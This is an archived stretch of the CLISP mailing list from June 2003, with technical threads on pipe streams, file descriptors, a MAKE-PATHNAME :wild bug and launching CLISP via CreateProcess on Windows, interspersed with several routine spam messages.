(make-pipe-input-stream)) >>> (launch ... :output stream) ;initializes stream >>> (read stream) >> >>what if the user tries to read from stream before launch inits it?! > Exactly! Excellent question. >>(launch ... :output (:stream :element-type ...)) >>is so much cleaner! > I agree with this. The conceptual driving force (for me) behind this > is functional programming (FP) oriented thought, or the concept of > "single assignment" known to compiler writers of imperative > languages (and not only Single Assignment C, aka SAC). Try to see it this way: streams and running external programs are highly "non-FP" things. Launch is the function to run programs, not creating streams, brewing beer and sending the mail. Streams are 'additional' to it, not essential. There are already closed streams. When the program under pipe stream is finished, what do we have ? Exactly the same - a pipe stream with invalid process handle. What if the user tries to read from stream after it's finished ? -- Best regards, Arseny From ampy@ich.dvo.ru Wed Jun 11 04:02:33 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Q3Mk-0001vX-00 for ; Wed, 11 Jun 2003 04:02:07 -0700 Received: from ppp146-AS-5.vtc.ru (ppp146-AS-5.vtc.ru [212.16.207.146]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h5BB1egl015052 for ; Wed, 11 Jun 2003 22:01:46 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1542072790.20030611220631@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] why dup() is portability-challenged In-reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE04C679FE@G8PQD.blf01.telekom.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE04C679FE@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 11 04:03:12 2003 X-Original-Date: Wed, 11 Jun 2003 22:06:31 +1000 Hi, Wednesday, June 11, 2003, 12:51:45 AM, you wrote: > On UNIX, you can "cat > /tmp/foocat" at the same time in several > shells, and use intermittent "cat /tmp/foocat" from a third shell to > witness how the different programs happily overwrite part of the > other program's data. An interesting UNIX experience I highly > recommend. Your essay is very in time because I'm just figuring out why two sequential "launch > foo" don't work on unix as I expect, thank you! -- Best regards, Arseny From Joerg-Cyril.Hoehle@t-systems.com Wed Jun 11 05:06:23 2003 Received: from [62.225.183.202] (helo=mail1.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Q4Mw-0004yO-00 for ; Wed, 11 Jun 2003 05:06:22 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 11 Jun 2003 14:06:14 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 11 Jun 2003 14:06:13 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04C67C65@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: ampy@ich.dvo.ru MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re[4]: Separate Unix error stream keyword for ext:run-shell-comma nd Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 11 05:07:07 2003 X-Original-Date: Wed, 11 Jun 2003 14:06:09 +0200 Arseny Slobodjuck wrote: >Try to see it this way: streams and running external programs are >highly "non-FP" things. That is no argument to a fan of Haskell :-) > Launch is the function to run programs, not >creating streams, brewing beer and sending the mail. Streams are >'additional' to it, not essential. I see it like this: pipes are connectors. It is then a matter of taste and subject for debate whether connectors exist by themselves or not. The fact that pipes may be represented as objects has IMHO nothing to do in this debate (a red herring). One can also take another approach: pipes/streams are essential, not foreign programs. The reason is that the only thing I can see is the I/O via pipes. So that's what matters to me. The only observable "reality" is my interaction with the foreign world: it looks like foreign programs exist, but I cannot be sure of that; however pipes for sure exist, I have a grasp on them. I.e. streams are essential, programs are not :-) MAKE-PIPE-*-STREAM IMHO adheres to this point of view: The pipe stream and what flows through it is what matters to Lisp, not the program being invoked. > There are already closed streams. When >the program under pipe stream is finished, what do we have ? Exactly >the same - a pipe stream with invalid process handle. The implementation of FIFO that I maintained for some time was controllable so as not to die together with a program. It had independent life/extent. It could be put to life before a program would be started, and/or remain there after one died. BTW, even UNIX pipe live a little longer than some of the programs connected to them. I.e. they buffer the last few KB of output. But I forgot about SIGPIPE issues. This was discussed once upon a time in this list. >What if the user tries to read from stream after it's finished ? That's a protocol error in my view. In certain situations, it can be statically derived from program source. It's like the pop(empty_stack) problem to me. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Jun 11 05:06:23 2003 Received: from [62.225.183.202] (helo=mail1.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Q4Mw-0004yL-00 for ; Wed, 11 Jun 2003 05:06:22 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 11 Jun 2003 14:06:14 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 11 Jun 2003 14:06:13 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04C67C66@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: ampy@ich.dvo.ru MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re[4]: Separate Unix error stream keyword for ext:run-shell-comma nd Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 11 05:07:08 2003 X-Original-Date: Wed, 11 Jun 2003 14:06:11 +0200 Hi, Actually, a zero-arity (MAKE-PIPE-INPUT-STREAM) makes sense with named pipes or fifos. As a stream, it could even have a pathname that could be communicated to external programs (in lieu of the "-" pseudo-file name that some programs recognize for either stdin or stout. But I don't expect that to be as portable as the unary MAKE-PIPE-INPUT-STREAM, presumably because it's a less-used pattern. For example, on AmigaOS, there is a utility to pipe with any program that does not do i/o via stdin/out like /bin/cat. E.g. let's pretend GNU diff would not recognize the pseudo filename "-". I could then write pipe cat myfile | diff IN: otherfile since cat myfile | diff - outfile would not work. This works with every program. And it eliminates some needs for stdin/out redirection. E.g. gcc -E ... >/tmp/foo becomes gcc -E -o OUT: ... (LAUNCH "gcc" :arguments (list* "-E" "-o" (pathname (setq s (make-pipe-input-stream))) other-options)) (read-char s) I recently learnt that bash/zsh (not old sh/csh) have a similar feature: <(command) and >(command) The <() construct creates a FIFO (either a "named pipe" or /dev/fd/n), and passes the name as an argument. diff <(cat myfile) otherfile But if you go that way, you need to devise a protocol for when you have finished with the resource. Would CLOSE be enough? Regards, Jorg Hohle. From 03smw2ulyei@hotmail.com Wed Jun 11 06:47:53 2003 Received: from [63.202.112.19] (helo=VISMAIL) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Q5xA-0003XG-00; Wed, 11 Jun 2003 06:47:53 -0700 Received: from [202.232.209.210] by VISMAIL with ESMTP id <177935-56597>; Wed, 11 Jun 2003 07:51:51 -0700 Message-ID: <0-504203-j271brza56@b1ll4kykinp4n> From: "Art Moseley" <03smw2ulyei@hotmail.com> To: clisp-devel@lists.sourceforge.net Cc: , X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=".CB4EBC__.72_EF.33._9" Subject: [clisp-list] FW: Mini Keychain _Breathalyzer q nesplqh Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 11 06:48:20 2003 X-Original-Date: Wed, 11 Jun 03 07:51:51 GMT This is a multi-part message in MIME format. --.CB4EBC__.72_EF.33._9 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Mini-Keychain BREATHALYZER! A Must Have! ONLY 39.95 !!! This is fun & can save your life. Don't take any chances, click Below Right Now and recieve a FREE Cell Phone Booster Antenna with your order ($= 20 value): http://www.1ajdfhcy.com/cart/customer/product.php?productid=3D16153&partne= r=3Daffil20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D If you no longer wish to receive our offers and updates click below and we will promptly honor your request. http://www.1ajdfhcy.com/1/ uhm --.CB4EBC__.72_EF.33._9-- From kaz@footprints.net Wed Jun 11 08:59:49 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Q80N-0006tx-00 for ; Wed, 11 Jun 2003 08:59:19 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 19Q7zm-0002tg-00; Wed, 11 Jun 2003 08:58:42 -0700 From: Kaz Kylheku To: Pascal Bourguignon cc: "Hoehle, Joerg-Cyril" , In-Reply-To: <16103.2400.594410.806884@thalassa.informatimago.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: pros and cons of integer file descriptors vs. pointer objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 11 09:00:29 2003 X-Original-Date: Wed, 11 Jun 2003 08:58:42 -0700 (PDT) On Wed, 11 Jun 2003, Pascal Bourguignon wrote: > Hoehle, Joerg-Cyril writes: > > Why did the design team around UNIX come up with small integers as > > file descriptors? > > Because the file descriptors refer data structures that are not in the > user space, but in the kernel space. Using indices in an array leaks > no information about the kernel, while even using addresses in the > kernel space leaks some information about the kernel (and possibly the > other processes). In addition, it would prevent moving kernel data > structures. There are other reasons too. The descriptors behave like an array, so for example, it is possible to loop over them and close them. If they were pointers, this would not be possible without maintaining an external data structure. Because the smallest available integer is always chosen, if an application needs to associate a file descriptor with satellite data, it can use a simple bounded array data structure to do so. This is very convenient in an application that handles many tty's, sockets or whatever. If a function like select() or poll() tells you that some file descriptor is readable, you can index that into your array and fetch the context structure. The alternate design, namely providing some interface that lets the user associate ``void *'' pointer value with a descriptor, is actually weaker, because there may be several modules in a program that will fight over that ``void *''. Oh yes, and there is one more reason: the file descriptors were actually a fixed array in early UNIX kernels. The integer indexes are simply a ``leak'' of the representation. > > Why did the ANSI C people come up with FILE pointers instead? > > Because the FILE structure is stored in the same user space than the > client code of the library. It wasn't the ANSI C people, by the way. The Version 6 UNIX sources had a header with a FILE macro in it, I think it was like: #define FILE struct _iobuf this explains why FILE is in all caps too; it started as a macro. > > When you release a library with opaque "references", what do you > > provide at the interface? > > > a) Pointers to some real objects, whose structure only you know? > > Yes. Most often. > > > > b) tiny integers starting from 0, a la UNIX filedes? > > Yes. Sometimes. I did this some years ago in a communication protocol stack project. An instance of the protocol stack was a C++ object. But distinct logical communication channels were identified by integers, which were guaranteed to be small. Thus I did not have to provide a way for the calling application to associate context data with channels. It was specifically that context association advantage which led me to duplicating the UNIX file descriptor design in that project. Not any address space separation or anything like that. From xhsanatisucht69@yahoo.com Wed Jun 11 10:48:53 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19Q9iP-0001uZ-00 for ; Wed, 11 Jun 2003 10:48:53 -0700 Received: from host81-13.pool8173.interbusiness.it ([81.73.13.81]:4561 helo=68.39.148.158) by externalmx.vasoftware.com with smtp (Exim 4.20 #1 (Debian)) id 19Q9i5-0008I4-4i for ; Wed, 11 Jun 2003 10:48:48 -0700 Received: from unknown (164.203.204.135) by a231242.upc-a.chello.nl with SMTP; Jun, 11 2003 19:02:13 +0700 Received: from [159.218.252.32] by n7.groups.yahoo.com with SMTP; Jun, 11 2003 18:00:03 -0700 From: xudpnatascha To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Mailer: QUALCOMM Windows Eudora Version 5.1 Message-Id: X-EA-Verified: externalmx.vasoftware.com 19Q9i5-0008I4-4i f783eb00fbda1f665be7ffe661d4bf60 X-Spam-Score: 12.2 Subject: [clisp-list] Hallo Frank, meine Bilder . caxtd Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 11 10:49:23 2003 X-Original-Date: Wed, 11 Jun 2003 20:03:40 +0200 sind nun endlich im internet auf http://natisucht.150m.com hoffe ich gefalle Dir :-) liebe Grüße Nati 18417 . hwopvsbrxkkubpjsyexwmmhe From pascal@informatimago.com Thu Jun 12 10:17:03 2003 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19QVfZ-0004BZ-00 for ; Thu, 12 Jun 2003 10:15:26 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 853EC9FB37; Thu, 12 Jun 2003 19:15:13 +0200 (CEST) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20030612171513.853EC9FB37@thalassa.informatimago.com> Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] (make-pathname :directory (:absolute :wild)) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 12 10:18:02 2003 X-Original-Date: Thu, 12 Jun 2003 19:15:13 +0200 (CEST) I cannot find anything in CLHS that prevents: (make-pathname :directory '(:absolute :wild)) (or any of its variants: =20 (make-pathname :directory '(:relative :wild)) (make-pathname :directory '(:absolute "a" :wild "b")) (make-pathname :directory '(:relative "a" :wild "b")) ) but clisp does not accept it: [pascal@thalassa pascal]$ clisp -q -norc [1]> (make-pathname :directory '(:absolute :wild)) *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:ABSOLUTE :WILD) 1. Break [2]>=20 [3]> (make-pathname :directory '(:relative :wild)) *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE :WILD) 1. Break [4]>=20 [5]> (make-pathname :directory '(:absolute "a" :wild "b")) *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:ABSOLUTE "a" :WILD "b"= ) 1. Break [6]>=20 [7]> (make-pathname :directory '(:relative "a" :wild "b")) *** - MAKE-PATHNAME: illegal :DIRECTORY argument (:RELATIVE "a" :WILD "b"= ) 1. Break [8]>=20 [9]> (lisp-implementation-version) "2.30 (released 2002-09-15) (built on thalassa.informatimago.com [213.220= .35.225])" Note that PATHNAME does not have that same reticence: [14]> (pathname "/*/") #P"/*/" [15]> (pathname "/a/*/b/") #P"/a/*/b/" [16]> (pathname "a/*/b/") #P"a/*/b/" [17]> (pathname "*/") #P"*/" [18]>=20 MAKE-PATHNAME takes a "valid pathname directory": valid pathname directory n. a string, a list of strings, nil, :wild, :unspecific, or some other object defined by the implementation to be a valid directory component. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From lisp-clisp-list@m.gmane.org Thu Jun 12 15:22:14 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19QaSR-0006tq-00 for ; Thu, 12 Jun 2003 15:22:12 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19QaPq-00040v-00 for ; Fri, 13 Jun 2003 00:19:30 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19QaPo-000407-00 for ; Fri, 13 Jun 2003 00:19:28 +0200 From: Sam Steingold Organization: disorganization Lines: 15 Message-ID: References: <20030612171513.853EC9FB37@thalassa.informatimago.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: (make-pathname :directory (:absolute :wild)) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 12 15:23:08 2003 X-Original-Date: 12 Jun 2003 18:22:04 -0400 > * In message <20030612171513.853EC9FB37@thalassa.informatimago.com> > * On the subject of "(make-pathname :directory (:absolute :wild))" > * Sent on Thu, 12 Jun 2003 19:15:13 +0200 (CEST) > * Honorable Pascal Bourguignon writes: > > (make-pathname :directory '(:absolute :wild)) should be fixed in the CVS. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux If you try to fail, and succeed, which have you done? From 9gy800jz7x@yahoo.com Fri Jun 13 18:27:33 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19QzpM-00017t-00; Fri, 13 Jun 2003 18:27:32 -0700 Received: from host94-14.pool80180.interbusiness.it ([80.180.14.94]:3968) by externalmx.vasoftware.com with smtp (Exim 4.20 #1 (Debian)) id 19QzpD-0005Jh-Cs; Fri, 13 Jun 2003 18:27:27 -0700 Received: from xvte.2t3z.com ([89.146.236.49]) by host94-14.pool80180.interbusiness.it id o1D49MOJofK6; Sat, 14 Jun 2003 08:31:15 +0600 Message-ID: From: "Carson Kyle" <9gy800jz7x@yahoo.com> To: clisp-devel@lists.sourceforge.net Cc: , X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: MIME-tools 5.503 (Entity 5.501) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=".80.A_3C_C_." X-EA-Verified: externalmx.vasoftware.com 19QzpD-0005Jh-Cs 8df4dc1a88986e8f099633e7dec8b984 X-Spam-Score: 17.1 Subject: [clisp-list] Introducing Razor XLR8R Scooter bwrnvhfcauni Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 13 18:28:08 2003 X-Original-Date: Sat, 14 Jun 03 08:31:15 GMT This is a multi-part message in MIME format. --.80.A_3C_C_. Content-Type: text/html Content-Transfer-Encoding: quoted-printable To be taken off our list within the next 48 hours please click below: http://www.deals4u2buy1.com/remove/cdr/index.htm ox m iwzqril j u glsi du temy e s ajuk aqqrqzzaarv --.80.A_3C_C_.-- From 8ad5b1ac7493@lycos.com Sat Jun 14 09:39:09 2003 Received: from [200.211.209.131] (helo=SRVSP) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19RE3H-0002yd-00; Sat, 14 Jun 2003 09:39:08 -0700 Received: from cg4jf.lpa144.com (HELO ynvpyo) [122.149.165.251] by SRVSP SMTP id bgQ398IX9U85hd for ; Sat, 14 Jun 2003 12:37:18 -0500 Message-ID: <3mh$5$$cr6$23-l42-65ai3b@9n5.zdwn> From: "Kellie Beasley" <8ad5b1ac7493@lycos.com> To: clisp-devel@lists.sourceforge.net Cc: , X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: QUALCOMM Windows Eudora Version 5.1 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="A_..983CA69A66AF39DC." Subject: [clisp-list] FW: Dont risk it all - Keychain Breathalyzer fiotru Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 14 09:40:04 2003 X-Original-Date: Sat, 14 Jun 03 12:37:18 GMT This is a multi-part message in MIME format. --A_..983CA69A66AF39DC. Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Mini-Keychain BREATHALYZER! A Must Have! A Fast, Reusable, Pocket-sized Alcohol Detection Device for Use Anywhere, Anytime Alcohol Consumption or Intoxication is a Concern. Don't Be a Victim of Drunk Driving! Makes a great personal item & gift. Almost everyone can use one, even if your a casual drinker. It even has a flashlight built in for added safety. These retail for $99 in stores. Our exclusive internet-offer allows us to sell the Mini-Breathalyzer for ONLY 39.95 !!! ** Order Now and get a FREE Cable Descrambler ($70 Value) FREE PayPerViews, Porno, Special Events & More...DONT MISS THIS AMAZING LI= MITED TIME DEAL!! http://www.6fvvnj.com/cart/customer/product.php?productid=3D16153&partner=3D= affil21&r=3Dfree =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D If you no longer wish to receive our offers and updates click below and we will promptly honor your request. http://www.6fvvnj.com/1/ 2 rdoo vxtjw mu sqju porhdjcumueyrlr twums rt --A_..983CA69A66AF39DC.-- From Norbert.Lehmann@unifr.ch Mon Jun 16 09:23:15 2003 Received: from siufsrv103.unifr.ch ([134.21.14.70]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19RwlF-0001r3-00 for ; Mon, 16 Jun 2003 09:23:13 -0700 Received: from localhost ([127.0.0.1] helo=siufsrv103.unifr.ch) by siufsrv103.unifr.ch with esmtp (Exim 4.20) id 19Rwl5-0006CS-Lm for clisp-list@lists.sourceforge.net; Mon, 16 Jun 2003 18:23:03 +0200 Received: from diufmac21.unifr.ch ([134.21.9.36]) by siufsrv103.unifr.ch with esmtp (Exim 4.20) id 19Rwl4-0006CP-Uc for clisp-list@lists.sourceforge.net; Mon, 16 Jun 2003 18:23:02 +0200 Mime-Version: 1.0 X-Sender: LehmannN@mail.unifr.ch Message-Id: To: clisp-list@lists.sourceforge.net From: Norbert Lehmann Content-Type: text/plain; charset="us-ascii" Subject: [clisp-list] Starting CLisp with CreateProcess on Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 16 09:24:01 2003 X-Original-Date: Mon, 16 Jun 2003 18:23:02 +0200 Hello on Windows 2000, I am trying to create a CLisp process using the system command "CreateProcess". If I start with CreateProcess" only the executable "lisp.exe" (thus, without the memory file "lispinit.mem"), everything is fine, CLisp starts up and I can type something on the prompt which appears. However, if I want to start CLisp with CreateProcess together with the memory image "lispinit.mem" using the command line option "-M", then there is a problem: From the task manager, I can see that a process "lisp.exe" was created, however, it seems as if this process is hanging somewhere. At least, there is no prompt and no read-eval-print-loop where I could evaluate lisp expressions. To make things clearer: executing lisp.exe -M lispinit.mem from a console on Windows 2000 is always fine, however, executing the same sequence using the system call "CreateProcess" starts a process "lisp.exe" (can be seen from the Task Manager). However, this process seems to hang somewhere. Has anybody else already seen a similar behaviour? Or has anybody an idea on how to resolve this problem? Finally, I would like to be abel to start CLisp on Windows 2000 together with some additional code I have written. Thank you + have a nice day Norbert -- \|/ (o o) +---------------------------oOO--(_)--OOo---------------------------+ Norbert Lehmann Department of Informatics (DIUF) phone: ++ 41 26 300 83 30 University of Fribourg fax: ++ 41 26 300 97 26 Rue Faucigny 2 e-mail: Norbert.Lehmann@unifr.ch CH-1700 Fribourg http://www-iiuf.unifr.ch/~lehmann Switzerland +-------------------------------------------------------------------+ (_) (_) From samuel.steingold@verizon.net Mon Jun 16 09:51:38 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19RxCj-0004qd-00 for ; Mon, 16 Jun 2003 09:51:37 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h5GGpRj11675; Mon, 16 Jun 2003 12:51:28 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Norbert Lehmann Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Starting CLisp with CreateProcess on Windows References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 81 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 16 09:52:18 2003 X-Original-Date: 16 Jun 2003 12:51:27 -0400 > * In message > * On the subject of "[clisp-list] Starting CLisp with CreateProcess on Windows" > * Sent on Mon, 16 Jun 2003 18:23:02 +0200 > * Honorable Norbert Lehmann writes: > > on Windows 2000, I am trying to create a CLisp process using the > system command "CreateProcess". If I start with CreateProcess" only > the executable "lisp.exe" (thus, without the memory file > "lispinit.mem"), everything is fine, CLisp starts up and I can type > something on the prompt which appears. > > However, if I want to start CLisp with CreateProcess together with the > memory image "lispinit.mem" using the command line option "-M", then > there is a problem: From the task manager, I can see that a process > "lisp.exe" was created, however, it seems as if this process is > hanging somewhere. At least, there is no prompt and no > read-eval-print-loop where I could evaluate lisp expressions. CLISP uses CreateProcess for EXT:SHELL and EXT::LAUNCH and both start CLISP just fine: [7]> (EXT::LAUNCH "d:/gnu/clisp/current/build-g-mingw/lisp.exe" :ARGUMENTS '("-norc" "-q" "-M" "d:/gnu/clisp/current/build-g-mingw/lispinit.mem")) Reserved address range 0x19d90000-0x5fffffff . STACK depth: 16363 [1]> (quit) 0 [8]> (quit) Bye. [1]> (shell "d:/gnu/clisp/current/build-g-mingw/lisp.exe -M d:/gnu/clisp/current /build-g-mingw/lispinit.mem") Reserved address range 0x19d90000-0x5fffffff . STACK depth: 16363 i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo 